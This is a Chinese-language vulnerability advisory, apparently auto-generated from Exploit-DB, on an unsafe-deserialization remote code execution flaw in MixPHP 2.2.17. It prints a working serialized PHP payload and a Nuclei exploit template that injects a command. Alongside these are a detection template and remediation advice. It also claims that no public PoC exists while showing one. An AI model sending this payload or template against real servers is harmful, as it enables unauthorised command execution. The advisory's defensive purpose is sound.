[webapps] MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution

MixPHP Framework 2.2.17 存在由用户输入直接传入 unserialize() 导致的不安全反序列化漏洞(CVE-2026-42471),攻击者可通过精心构造的序列化 payload 触发 __destruct 方法实现远程代码执行。本文提供漏洞细节、PoC 分析及修复建议,适用于安全研究与应急响应。

CVE-2026-42471

MixPHP Framework 2.2.17 存在反序列化漏洞,通过 __destruct 可执行任意命令。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-42471
漏洞类型不安全反序列化远程代码执行
受影响版本MixPHP Framework 2.x through 2.2.17
危害等级Critical · CVSS 9.8
发布日期2026-05-29
提交者cardosource
来源Exploit-DB 原文 ↗

🔬 漏洞根因

应用程序将用户可控的输入($_POST["data"])直接传入 unserialize() 函数,且存在可被利用的 __destruct 魔术方法。

🎯 攻击场景

前提:目标运行 MixPHP Framework 2.2.17 及以下版本,且存在 index.php 接收 POST 请求。 步骤: 1. 构造序列化 payload,如 'O:1:"A":1:{s:1:"c";s:9:"id>/tmp/p";}'。 2. 通过 POST 请求发送 data 参数包含该 payload 至 http://127.0.0.1:8000/index.php。 3. 服务端执行 unserialize($payload) 触发 A 类的 __destruct 方法,执行命令 id>/tmp/p。 成功标志:命令结果写入了 /tmp/p 文件。

💥 漏洞影响

攻击者可利用该漏洞实现远程代码执行,完全控制服务器。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-42471-exploit

info:
  name: MixPHP Framework 2.2.17 - Unsafe Deserialization RCE
  author: cardosource
  severity: high
  description: MixPHP Framework 2.x through 2.2.17 is vulnerable to unsafe deserialization allowing remote code execution via a crafted PHP serialized object.
  reference:
    - https://github.com/mix-php/mix
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42471
  tags: cve,cve2026,mixphp,rce,deserialization,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42471

variables:
  cmd: "id"

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        data=O:1:"A":1:{s:1:"c";s:{{len(cmd)}}:"{{cmd}}";}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "root"
          - "gid="
          - "groups="
        condition: or
      - type: status
        status:
          - 200

🔬 深度技术分析

PoC 构造了一个包含类 A 的序列化字符串,类 A 中属性 c 的值为命令 'id>/tmp/p'。当 unserialize 反序列化该字符串后,对象在脚本结束时自动调用 __destruct() 方法,执行 system($this->c) 即执行了命令。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-42471-detection

info:
  name: MixPHP Framework 2.2.17 - Unsafe Deserialization Detection
  author: cardosource
  severity: high
  description: MixPHP Framework 2.x through 2.2.17 is vulnerable to unsafe deserialization leading to remote code execution.
  reference:
    - https://github.com/mix-php/mix
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42471
  tags: cve,cve2026,mixphp,rce,deserialization
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42471

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "MixPHP"
          - "mixphp"
          - "mix-php"
        condition: or
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        part: body
        regex:
          - 'MixPHP\s*[vV]?(\d+\.\d+\.\d+)'
          - 'version\s*:\s*"(\d+\.\d+\.\d+)"'

🛡️ 修复建议

建议升级至 MixPHP 最新版本;临时的缓解措施包括:不使用用户输入直接传给 unserialize(),或对输入进行严格过滤。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-01 08:07 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 如何确认我的 MixPHP 版本是否受影响?

检查 composer.json 或 CHANGELOG 中 mixphp/mix 版本号,若小于等于 2.2.17 即受影响。

❓ 有哪些 gadget 可用?

PoC 使用自定义类 A 的 __destruct,实际攻击可能利用框架已有类的魔术方法。

❓ 如果无法升级,如何临时防护?

禁用用户输入直接进入 unserialize(),或者添加 WAF 规则过滤序列化字符串特征,如 O:、C:、R: 等。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)